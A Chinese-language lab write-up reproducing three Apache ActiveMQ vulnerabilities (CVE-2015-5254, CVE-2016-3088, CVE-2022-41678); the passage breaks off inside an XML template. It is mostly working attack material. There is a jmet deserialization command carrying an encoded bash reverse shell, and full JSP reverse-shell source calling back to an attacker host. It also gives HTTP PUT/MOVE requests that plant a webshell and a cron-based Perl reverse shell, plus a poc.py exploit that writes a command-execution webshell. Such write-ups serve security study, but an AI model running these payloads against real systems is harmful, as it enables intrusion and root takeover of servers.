ActiveMQ漏洞復現

以下內容均在nextcyber靶場環境中完成,請勿用于非法途徑!

ActiveMQ 反序列化漏洞(CVE-2015-5254)

Apache ActiveMQ是美國阿帕奇(Apache)軟件基金會所研發的一套開源的消息中間件,它支持Java消息服務、集群、Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,該漏洞源于程序沒有限制可在代理中序列化的類。遠程攻擊者可借助特制的序列化的Java Message Service(JMS)ObjectMessage對象利用該漏洞執行任意代碼。

漏洞復現

前期準備

靶機環境運行后,將監聽61616和8161兩個端口。其中61616是工作端口,消息在這個端口進行傳遞;8161是Web管理頁面端口。訪問 http://your-ip:8161即可看到web管理頁面。然后下載 jmet工具以及創建external文件夾
┌──(root?nextcyber)-[~]
└─# wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar┌──(root?nextcyber)-[~]
└─# mkdir external ┌──(root?nextcyber)-[~]
└─# ls                                                                                    
external  jmet-0.1.0-all.jar

java版本問題,這里的java版本不能太新,不然命令執行不成功。payload準備,我們使用以下bash命令,需要使用bp工具把該命令進行base64編碼,將編碼后的命令替換成反彈shell語句再利用:

bash -i >& /dev/tcp/10.132.0.58/1234 0>&1YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMC41OC8xMjM0IDA+JjE=java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMC41OC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 10.22.14.156 61616

漏洞利用

發送payload,然后監聽端口1234
┌──(kali?kali)-[~/Desktop/vegetable/ActiveMQ/CVE-2015-5254]
└─$ java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMC41OC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 10.22.14.156 61616
INFO d.c.j.t.JMSTarget [main] Connected with ID: ID:kali-44681-1749456236602-0:1                                                                          
INFO d.c.j.t.JMSTarget [main] Sent gadget "ROME" with command: "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMC41OC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"                                                                         
INFO d.c.j.t.JMSTarget [main] Shutting down connection ID:kali-44681-1749456236602-0:1 ┌──(kali?kali)-[~]
└─$ nc -nvlp 1234
listening on [any] 1234 ...

此時會給目標ActiveMQ添加一個名為event的隊列,我們可以通過訪問http://xxxx:8161/admin/browse.jsp?JMSDestination=event頁面,訪問憑證:admin:admin

登陸后,看到這個隊列中所有消息:
點擊查看這條消息即可觸發命令執行:

ActiveMQ任意文件寫入漏洞(CVE-2016-3088)

ActiveMQ的web控制臺分三個應用,admin、api和fileserver,其中admin是管理員頁面,api是接口,fileserver是儲存文件的接口;admin和api都需要登錄后才能使用,fileserver無需登錄。
fileserver是一個RESTful API接口,我們可以通過GET、PUT、DELETE等HTTP請求對其中存儲的文件進行讀寫操作,其設計目的是為了彌補消息隊列操作不能傳輸、存儲二進制文件的缺陷,但后來發現:
  • 其使用率并不高
  • 文件操作容易出現漏洞
所以,ActiveMQ在5.12.x~5.13.x版本中,已經默認關閉了fileserver這個應用(你可以在conf/jetty.xml中開啟之);在5.14.0版本以后,徹底刪除了fileserver應用。
本漏洞出現在fileserver應用中,漏洞原理其實非常簡單,就是fileserver支持寫入文件(但不解析jsp),同時支持移動文件(MOVE請求)。所以,我們只需要寫入一個文件,然后使用MOVE請求將其移動到任意位置,造成任意文件寫入漏洞。
文件寫入有幾種利用方法:
  • 寫入webshell
  • 寫入cron或ssh key等文件
  • 寫入jar或jetty.xml等庫和配置文件
寫入webshell的好處是,門檻低更方便,但前面也說了fileserver不解析jsp,admin和api兩個應用都需要登錄才能訪問,所以有點雞肋;寫入cron或ssh key,好處是直接反彈拿shell,也比較方便,缺點是需要root權限;寫入jar,稍微麻煩點(需要jar的后門),寫入xml配置文件,這個方法比較靠譜,但有個雞肋點是:我們需要知道activemq的絕對路徑。

漏洞復現

前期準備

靶機啟動后,監聽61616端口和8161端口,其中8161為web控制臺端口,本漏洞就出現在web控制臺中。訪問 http://your-ip:8161/看到web頁面。下面我們通過2種方法進行漏洞復現。

方法一:寫入webshell

直接訪問 http://192.168.2.21:8161/admin/,確定版本
漏洞影響版本是ActiveMQ在5.14.0之前的版本(不包括5.14.0),目標版本為5.11.1,在漏洞影響范圍內。下面我們按以下攻擊思路進行攻擊:
  1. 獲取admin應用的用戶名和密碼
  2. 訪問http://your-ip:8161/admin/test/systemProperties.jsp獲取ActiveMQ的絕對路徑
  3. 上傳webshell
  4. 將webshell移動到admin所在文件夾
  5. 連接webshell
這里的默認用戶名和密碼都是admin;然后訪問 http://192.168.2.21:8161/admin/test/systemProperties.jsp
ActiveMQ的絕對路徑為/opt/activemq,接下來上傳webshell,使用 revshells在線工具生成一個jsp的反彈shell腳本,ip為kali機的ip,端口號9001
┌──(root?nextcyber)-[~]
└─# msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.2.6 LPORT=9001 -f raw -o shell.jsp
Payload size: 1497 bytes
Saved as: shell.jsp┌──(root?nextcyber)-[~]
└─# cat shell.jsp  
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%><%class StreamConnector extends Thread{InputStream e9;OutputStream sZ;StreamConnector( InputStream e9, OutputStream sZ ){this.e9 = e9;this.sZ = sZ;}public void run(){BufferedReader b6  = null;BufferedWriter kvL = null;try{b6  = new BufferedReader( new InputStreamReader( this.e9 ) );kvL = new BufferedWriter( new OutputStreamWriter( this.sZ ) );char buffer[] = new char[8192];int length;while( ( length = b6.read( buffer, 0, buffer.length ) ) > 0 ){kvL.write( buffer, 0, length );kvL.flush();}} catch( Exception e ){}try{if( b6 != null )b6.close();if( kvL != null )kvL.close();} catch( Exception e ){}}}try{String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {ShellPath = new String("/bin/sh");
} else {ShellPath = new String("cmd.exe");
}Socket socket = new Socket( "192.168.2.6", 9001 );Process process = Runtime.getRuntime().exec( ShellPath );( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();} catch( Exception e ) {}
%>

接著打開kali自帶的burpsuite工具,設置好代理,訪問http://192.168.2.21:8161/fileserver/抓包

把包發送到Repeater模塊,按下圖步驟進行修改,然后點擊發送
Response報文狀態碼204表示上傳成功,訪問 http://192.168.2.21:8161/fileserver/shell.jsp,可以看到上傳的內容
移動webshell到admin所在的文件夾,move方法移動,直接在原來的包上做修改,move移動文件,Destination設置移動的位置
MOVE /fileserver/shell.jsp HTTP/1.1Destination: file:///opt/activemq/webapps/admin/shell.jsp
Response報文狀態碼204表示移動成功,本地kali監聽端口9001,bp放行,訪問 http://192.168.2.21:8161/admin/shell.jsp
┌──(root?nextcyber)-[~]
└─# nc -lvnp 9001 
listening on [any] 9001 ...
connect to [192.168.2.6] from (UNKNOWN) [192.168.2.21] 62044
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
cd /root
ls
ls
ls -al
total 20
drwx------ 1 root root 4096 Mar  4  2018 .
drwxr-xr-x 1 root root 4096 Nov 26 08:05 ..
-rw-r--r-- 1 root root  570 Jan 31  2010 .bashrc
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-rw-r--r-- 1 root root  189 Mar  4  2018 .wget-hsts

漏洞利用成功,拿到了root權限的反彈shell

方法二:寫入crontab

這是一個比較穩健的方法。首先上傳cron配置文件(注意,換行一定要\n,不能是\r\n,否則crontab執行會失敗):
PUT /fileserver/1.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

將其移動到/etc/cron.d/root:

MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

如果上述兩個請求都返回204了,說明寫入成功。等待反彈shell:

Apache ActiveMQ Jolokia 后臺遠程代碼執行漏洞(CVE-2022-41678)

Apache ActiveMQ 在5.16.5,?5.17.3版本及以前,后臺Jolokia存在一處任意文件寫入導致的遠程代碼執行漏洞。

漏洞復現

靶機啟動后,訪問 http://your-ip:8161/后輸入賬號密碼admin和admin,即可成功登錄后臺。

方法一

首先,訪問 http://192.168.2.21:8161//api/jolokia/list這個API查看當前服務器MBean值,此處需要加入Origin值,Authorization值為admin:admin的base64加密值
第一個方法是使用org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean,這是由Log4j2提供的一個MBean。
攻擊者使用這個MBean中的setConfigText操作可以更改Log4j的配置,進而將日志文件寫入任意目錄中。
使用poc.py腳本來復現完整的過程:
┌──(root?nextcyber)-[~]
└─# vim poc.py               ┌──(root?nextcyber)-[~]
└─# ls
poc.py┌──(root?nextcyber)-[~]
└─# python poc.py -u admin -p admin http://192.168.2.47:8161
2024-11-28 16:17:05,911 - INFO - choice MBean 'org.apache.logging.log4j2:type=6ddf90b0' automatically
2024-11-28 16:17:05,966 - INFO - update log config
2024-11-28 16:17:05,992 - INFO - write webshell to http://192.168.2.47:8161/admin/shell.jsp?cmd=id
2024-11-28 16:17:06,028 - INFO - restore log config

執行腳本后,Webshell被寫入在/admin/shell.jsp文件中,訪問http://192.168.2.47:8161/admin/shell.jsp?cmd=id

可以讀取到當前用戶,這個方法受到ActiveMQ版本的限制,因為Log4j2是在5.17.0中才引入Apache ActiveMQ。

方法二

第二個可利用的Mbean是jdk.management.jfr.FlightRecorderMXBean。
FlightRecorder是在OpenJDK 11中引入的特性,被用于記錄Java虛擬機的運行事件。利用這個功能,攻擊者可以將事件日志寫入任意文件。
使用poc.py腳本來復現完整的過程(使用--exploit參數指定使用的方法):
python poc.py -u admin -p admin --exploit jfr http://192.168.2.47:8161
┌──(root?nextcyber)-[~]
└─# python poc.py -u admin -p admin --exploit jfr http://192.168.2.47:8161
2024-11-28 16:26:29,798 - INFO - choice MBean jdk.management.jfr:type=FlightRecorder manually
2024-11-28 16:26:30,336 - INFO - create flight record, id = 1
2024-11-28 16:26:30,370 - INFO - update configuration for record 1
2024-11-28 16:26:30,749 - INFO - start record
2024-11-28 16:26:31,794 - INFO - stop record
2024-11-28 16:26:31,814 - INFO - write webshell to http://192.168.2.47:8161/admin/shelljfr.jsp?cmd=id

Webshell被寫入在/admin/shelljfr.jsp文件中:訪問http://192.168.2.47:8161/admin/shelljfr.jsp?cmd=id

poc.py

#!/usr/bin/env python3
import sys
import logging
import requests
import argparse
import time
from urllib.parse import urljoin
from html import escapelogging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
webshell = ('<% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); ''out.println(org.apache.commons.io.IOUtils.toString(p.getInputStream(), "utf-8")); %>')
original_template = r'''<?xml version="1.0" encoding="UTF-8"?>
<Configuration><Appenders><Console name="Console" target="SYSTEM_OUT"><PatternLayout pattern="%5p | %m%n"/></Console><RollingRandomAccessFile name="RollingFile" fileName="${sys:activemq.data}/activemq.log" filePattern="${sys:activemq.data}/activemq.log.%i"><PatternLayout pattern="%d | %-5p | %m | %c | %t%n%throwable{full}"/><Policies><SizeBasedTriggeringPolicy size="1MB"/></Policies></RollingRandomAccessFile><RollingRandomAccessFile name="AuditLog" fileName="${sys:activemq.data}/audit.log" filePattern="${sys:activemq.data}/audit.log.%i"><PatternLayout pattern="%-5p | %m | %t%n"/><Policies><SizeBasedTriggeringPolicy size="1MB"/></Policies></RollingRandomAccessFile></Appenders><Loggers><Root level="INFO"><AppenderRef ref="Console"/><AppenderRef ref="RollingFile"/></Root><Logger name="org.apache.activemq.spring" level="WARN"/><Logger name="org.apache.activemq.web.handler" level="WARN"/><Logger name="org.springframework" level="WARN"/><Logger name="org.apache.xbean" level="WARN"/><Logger name="org.eclipse.jetty" level="WARN"/><Logger name="org.apache.activemq.audit" level="INFO" additivity="false"><AppenderRef ref="AuditLog"/></Logger><!-- Uncomment and modify as needed for ActiveMQ logger<Logger name="org.apache.activemq" level="DEBUG"/>--></Loggers>
</Configuration>
'''
evil_template = r'''<?xml version="1.0" encoding="UTF-8"?>
<Configuration><Appenders><Console name="Console" target="SYSTEM_OUT"><PatternLayout pattern="%5p | %m%n"/></Console><RollingRandomAccessFile name="RollingFile" fileName="${sys:activemq.data}/../webapps/admin/shell.jsp" filePattern="${sys:activemq.data}/../webapps/admin/shell.jsp.%i"><PatternLayout pattern="%d | %-5p | %m | %c | %t%n%throwable{full}"/><Policies><SizeBasedTriggeringPolicy size="1MB"/></Policies></RollingRandomAccessFile><RollingRandomAccessFile name="AuditLog" fileName="${sys:activemq.data}/audit.log" filePattern="${sys:activemq.data}/audit.log.%i"><PatternLayout pattern="%-5p | %m | %t%n"/><Policies><SizeBasedTriggeringPolicy size="1MB"/></Policies></RollingRandomAccessFile></Appenders><Loggers><Root level="INFO"><AppenderRef ref="Console"/><AppenderRef ref="RollingFile"/></Root><Logger name="org.apache.activemq.spring" level="WARN"/><Logger name="org.apache.activemq.web.handler" level="WARN"/><Logger name="org.springframework" level="WARN"/><Logger name="org.apache.xbean" level="WARN"/><Logger name="org.eclipse.jetty" level="DEBUG"/><Logger name="org.apache.activemq.audit" level="INFO" additivity="false"><AppenderRef ref="AuditLog"/></Logger><!-- Uncomment and modify as needed for ActiveMQ logger<Logger name="org.apache.activemq" level="DEBUG"/>--></Loggers>
</Configuration>
'''
record_template = r'''<?xml version="1.0" encoding="UTF-8"?><!--Recommended way to edit .jfc files is to use Java Mission Control,see Window -> Flight Recorder Template Manager.
--><configuration version="2.0" label="Continuous" description="Low overhead configuration safe for continuous use in production environments, typically less than 1 % overhead." provider="Oracle"><event name="jdk.ThreadAllocationStatistics"><setting name="enabled">true</setting><setting name="period"><![CDATA[||| '''+webshell+r''' |||]]></setting></event><event name="jdk.ClassLoadingStatistics"><setting name="enabled">true</setting><setting name="period">1000 ms</setting></event><event name="jdk.ClassLoaderStatistics"><setting name="enabled">true</setting><setting name="period">everyChunk</setting></event><event name="jdk.JavaThreadStatistics"><setting name="enabled">true</setting><setting name="period">1000 ms</setting></event><event name="jdk.ThreadStart"><setting name="enabled">true</setting><setting name="stackTrace">true</setting></event><event name="jdk.ThreadEnd"><setting name="enabled">true</setting></event><event name="jdk.ThreadSleep"><setting name="enabled">true</setting><setting name="stackTrace">true</setting><setting name="threshold" control="synchronization-threshold">20 ms</setting></event><event name="jdk.ThreadPark"><setting name="enabled">true</setting><setting name="stackTrace">true</setting><setting name="threshold" control="synchronization-threshold">20 ms</setting></event><event name="jdk.JavaMonitorEnter"><setting name="enabled">true</setting><setting name="stackTrace">true</setting><setting name="threshold" control="synchronization-threshold">20 ms</setting></event><event name="jdk.JavaMonitorWait"><setting name="enabled">true</setting><setting name="stackTrace">true</setting><setting name="threshold" control="synchronization-threshold">20 ms</setting></event><event name="jdk.JavaMonitorInflate"><setting name="enabled">false</setting><setting name="stackTrace">true</setting><setting name="threshold" control="synchronization-threshold">20 ms</setting></event><event name="jdk.BiasedLockRevocation"><setting name="enabled">true</setting><setting name="stackTrace">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.BiasedLockSelfRevocation"><setting name="enabled">true</setting><setting name="stackTrace">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.BiasedLockClassRevocation"><setting name="enabled">true</setting><setting name="stackTrace">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.ReservedStackActivation"><setting name="enabled">true</setting><setting name="stackTrace">true</setting></event><event name="jdk.ClassLoad"><setting name="enabled" control="class-loading-enabled">false</setting><setting name="stackTrace">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.ClassDefine"><setting name="enabled" control="class-loading-enabled">false</setting><setting name="stackTrace">true</setting></event><event name="jdk.ClassUnload"><setting name="enabled" control="class-loading-enabled">false</setting></event><event name="jdk.JVMInformation"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.InitialSystemProperty"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.ExecutionSample"><setting name="enabled" control="method-sampling-enabled">true</setting><setting name="period" control="method-sampling-java-interval">20 ms</setting></event><event name="jdk.NativeMethodSample"><setting name="enabled" control="method-sampling-enabled">true</setting><setting name="period" control="method-sampling-native-interval">20 ms</setting></event><event name="jdk.SafepointBegin"><setting name="enabled">true</setting><setting name="threshold">10 ms</setting></event><event name="jdk.SafepointStateSynchronization"><setting name="enabled">false</setting><setting name="threshold">10 ms</setting></event><event name="jdk.SafepointWaitBlocked"><setting name="enabled">false</setting><setting name="threshold">10 ms</setting></event><event name="jdk.SafepointCleanup"><setting name="enabled">false</setting><setting name="threshold">10 ms</setting></event><event name="jdk.SafepointCleanupTask"><setting name="enabled">false</setting><setting name="threshold">10 ms</setting></event><event name="jdk.SafepointEnd"><setting name="enabled">false</setting><setting name="threshold">10 ms</setting></event><event name="jdk.ExecuteVMOperation"><setting name="enabled">true</setting><setting name="threshold">10 ms</setting></event><event name="jdk.Shutdown"><setting name="enabled">true</setting><setting name="stackTrace">true</setting></event><event name="jdk.ThreadDump"><setting name="enabled" control="thread-dump-enabled">true</setting><setting name="period" control="thread-dump-interval">everyChunk</setting></event><event name="jdk.IntFlag"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.UnsignedIntFlag"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.LongFlag"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.UnsignedLongFlag"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.DoubleFlag"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.BooleanFlag"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.StringFlag"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.IntFlagChanged"><setting name="enabled">true</setting></event><event name="jdk.UnsignedIntFlagChanged"><setting name="enabled">true</setting></event><event name="jdk.LongFlagChanged"><setting name="enabled">true</setting></event><event name="jdk.UnsignedLongFlagChanged"><setting name="enabled">true</setting></event><event name="jdk.DoubleFlagChanged"><setting name="enabled">true</setting></event><event name="jdk.BooleanFlagChanged"><setting name="enabled">true</setting></event><event name="jdk.StringFlagChanged"><setting name="enabled">true</setting></event><event name="jdk.ObjectCount"><setting name="enabled" control="memory-profiling-enabled-all">false</setting><setting name="period">everyChunk</setting></event><event name="jdk.GCConfiguration"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="period">everyChunk</setting></event><event name="jdk.GCHeapConfiguration"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.YoungGenerationConfiguration"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.GCTLABConfiguration"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.GCSurvivorConfiguration"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.ObjectCountAfterGC"><setting name="enabled">false</setting></event><event name="jdk.GCHeapSummary"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.PSHeapSummary"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.G1HeapSummary"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.MetaspaceSummary"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.MetaspaceGCThreshold"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.MetaspaceAllocationFailure"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="stackTrace">true</setting></event><event name="jdk.MetaspaceOOM"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="stackTrace">true</setting></event><event name="jdk.MetaspaceChunkFreeListSummary"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.GarbageCollection"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.ParallelOldGarbageCollection"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.YoungGarbageCollection"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.OldGarbageCollection"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.G1GarbageCollection"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.GCPhasePause"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.GCPhasePauseLevel1"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.GCPhasePauseLevel2"><setting name="enabled" control="gc-enabled-normal">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.GCPhasePauseLevel3"><setting name="enabled" control="gc-enabled-all">false</setting><setting name="threshold">0 ms</setting></event><event name="jdk.GCPhasePauseLevel4"><setting name="enabled" control="gc-enabled-all">false</setting><setting name="threshold">0 ms</setting></event><event name="jdk.GCPhaseConcurrent"><setting name="enabled" control="gc-enabled-all">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.GCReferenceStatistics"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.PromotionFailed"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.EvacuationFailed"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.EvacuationInformation"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.G1MMU"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.G1EvacuationYoungStatistics"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.G1EvacuationOldStatistics"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.G1BasicIHOP"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.G1AdaptiveIHOP"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.PromoteObjectInNewPLAB"><setting name="enabled" control="memory-profiling-enabled-medium">false</setting></event><event name="jdk.PromoteObjectOutsidePLAB"><setting name="enabled" control="memory-profiling-enabled-medium">false</setting></event><event name="jdk.ConcurrentModeFailure"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.AllocationRequiringGC"><setting name="enabled" control="gc-enabled-all">false</setting><setting name="stackTrace">true</setting></event><event name="jdk.TenuringDistribution"><setting name="enabled" control="gc-enabled-normal">true</setting></event><event name="jdk.G1HeapRegionInformation"><setting name="enabled" control="gc-enabled-all">false</setting><setting name="period">everyChunk</setting></event><event name="jdk.G1HeapRegionTypeChange"><setting name="enabled" control="gc-enabled-all">false</setting></event><event name="jdk.ShenandoahHeapRegionInformation"><setting name="enabled" control="gc-enabled-all">false</setting><setting name="period">everyChunk</setting></event><event name="jdk.ShenandoahHeapRegionStateChange"><setting name="enabled" control="gc-enabled-all">false</setting></event><event name="jdk.OldObjectSample"><setting name="enabled" control="memory-leak-detection-enabled">true</setting><setting name="stackTrace" control="memory-leak-detection-stack-trace">false</setting><setting name="cutoff" control="memory-leak-detection-cutoff">0 ns</setting></event><event name="jdk.CompilerConfiguration"><setting name="enabled" control="compiler-enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.CompilerStatistics"><setting name="enabled" control="compiler-enabled">true</setting><setting name="period">1000 ms</setting></event><event name="jdk.Compilation"><setting name="enabled" control="compiler-enabled">true</setting><setting name="threshold" control="compiler-compilation-threshold">1000 ms</setting></event><event name="jdk.CompilerPhase"><setting name="enabled" control="compiler-enabled">true</setting><setting name="threshold" control="compiler-phase-threshold">60 s</setting></event><event name="jdk.CompilationFailure"><setting name="enabled" control="compiler-enabled-failure">false</setting></event><event name="jdk.CompilerInlining"><setting name="enabled" control="compiler-enabled-failure">false</setting></event><event name="jdk.CodeSweeperConfiguration"><setting name="enabled" control="compiler-enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.CodeSweeperStatistics"><setting name="enabled" control="compiler-enabled">true</setting><setting name="period">everyChunk</setting></event><event name="jdk.SweepCodeCache"><setting name="enabled" control="compiler-enabled">true</setting><setting name="threshold" control="compiler-sweeper-threshold">100 ms</setting></event><event name="jdk.CodeCacheConfiguration"><setting name="enabled" control="compiler-enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.CodeCacheStatistics"><setting name="enabled" control="compiler-enabled">true</setting><setting name="period">everyChunk</setting></event><event name="jdk.CodeCacheFull"><setting name="enabled" control="compiler-enabled">true</setting></event><event name="jdk.OSInformation"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.VirtualizationInformation"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.CPUInformation"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.ThreadContextSwitchRate"><setting name="enabled" control="compiler-enabled">true</setting><setting name="period">10 s</setting></event><event name="jdk.CPULoad"><setting name="enabled">true</setting><setting name="period">1000 ms</setting></event><event name="jdk.ThreadCPULoad"><setting name="enabled">true</setting><setting name="period">10 s</setting></event><event name="jdk.CPUTimeStampCounter"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.SystemProcess"><setting name="enabled">true</setting><setting name="period">endChunk</setting></event><event name="jdk.NetworkUtilization"><setting name="enabled">true</setting><setting name="period">5 s</setting></event><event name="jdk.InitialEnvironmentVariable"><setting name="enabled">true</setting><setting name="period">beginChunk</setting></event><event name="jdk.PhysicalMemory"><setting name="enabled">true</setting><setting name="period">everyChunk</setting></event><event name="jdk.ObjectAllocationInNewTLAB"><setting name="enabled" control="memory-profiling-enabled-medium">false</setting><setting name="stackTrace">true</setting></event><event name="jdk.ObjectAllocationOutsideTLAB"><setting name="enabled" control="memory-profiling-enabled-medium">false</setting><setting name="stackTrace">true</setting></event><event name="jdk.NativeLibrary"><setting name="enabled">true</setting><setting name="period">everyChunk</setting></event><event name="jdk.ModuleRequire"><setting name="enabled">true</setting><setting name="period">endChunk</setting></event><event name="jdk.ModuleExport"><setting name="enabled">true</setting><setting name="period">endChunk</setting></event><event name="jdk.FileForce"><setting name="enabled">true</setting><setting name="stackTrace">true</setting><setting name="threshold" control="file-io-threshold">20 ms</setting></event><event name="jdk.FileRead"><setting name="enabled">true</setting><setting name="stackTrace">true</setting><setting name="threshold" control="file-io-threshold">20 ms</setting></event><event name="jdk.FileWrite"><setting name="enabled">true</setting><setting name="stackTrace">true</setting><setting name="threshold" control="file-io-threshold">20 ms</setting></event><event name="jdk.SocketRead"><setting name="enabled">true</setting><setting name="stackTrace">true</setting><setting name="threshold" control="socket-io-threshold">20 ms</setting></event><event name="jdk.SocketWrite"><setting name="enabled">true</setting><setting name="stackTrace">true</setting><setting name="threshold" control="socket-io-threshold">20 ms</setting></event><event name="jdk.SecurityPropertyModification"><setting name="enabled">false</setting><setting name="stackTrace">true</setting></event><event name="jdk.TLSHandshake"><setting name="enabled">false</setting><setting name="stackTrace">true</setting></event><event name="jdk.X509Validation"><setting name="enabled">false</setting><setting name="stackTrace">true</setting></event><event name="jdk.X509Certificate"><setting name="enabled">false</setting><setting name="stackTrace">true</setting></event><event name="jdk.JavaExceptionThrow"><setting name="enabled" control="enable-exceptions">false</setting><setting name="stackTrace">true</setting></event><event name="jdk.JavaErrorThrow"><setting name="enabled" control="enable-errors">true</setting><setting name="stackTrace">true</setting></event><event name="jdk.ExceptionStatistics"><setting name="enabled">true</setting><setting name="period">1000 ms</setting></event><event name="jdk.ActiveRecording"><setting name="enabled">true</setting></event><event name="jdk.ActiveSetting"><setting name="enabled">true</setting></event><event name="jdk.DataLoss"><setting name="enabled">true</setting></event><event name="jdk.DumpReason"><setting name="enabled">true</setting></event><event name="jdk.ZPageAllocation"><setting name="enabled">true</setting><setting name="threshold">10 ms</setting></event><event name="jdk.ZThreadPhase"><setting name="enabled">true</setting><setting name="threshold">0 ms</setting></event><event name="jdk.ZStatisticsCounter"><setting name="enabled">true</setting><setting name="threshold">10 ms</setting></event><event name="jdk.ZStatisticsSampler"><setting name="enabled">true</setting><setting name="threshold">10 ms</setting></event><!--Contents of the control element is not read by the JVM, it's usedby Java Mission Control to change settings that carry the control attribute.--><control><selection name="gc-level" default="detailed" label="Garbage Collector"><option label="Off" name="off">off</option><option label="Normal" name="detailed">normal</option><option label="All" name="all">all</option></selection><condition name="gc-enabled-normal" true="true" false="false"><or><test name="gc-level" operator="equal" value="normal"/><test name="gc-level" operator="equal" value="all"/></or></condition><condition name="gc-enabled-all" true="true" false="false"><test name="gc-level" operator="equal" value="all"/></condition><selection name="memory-profiling" default="off" label="Memory Profiling"><option label="Off" name="off">off</option><option label="Object Allocation and Promotion" name="medium">medium</option><option label="All, including Heap Statistics (May cause long full GCs)" name="all">all</option></selection><condition name="memory-profiling-enabled-medium" true="true" false="false"><or><test 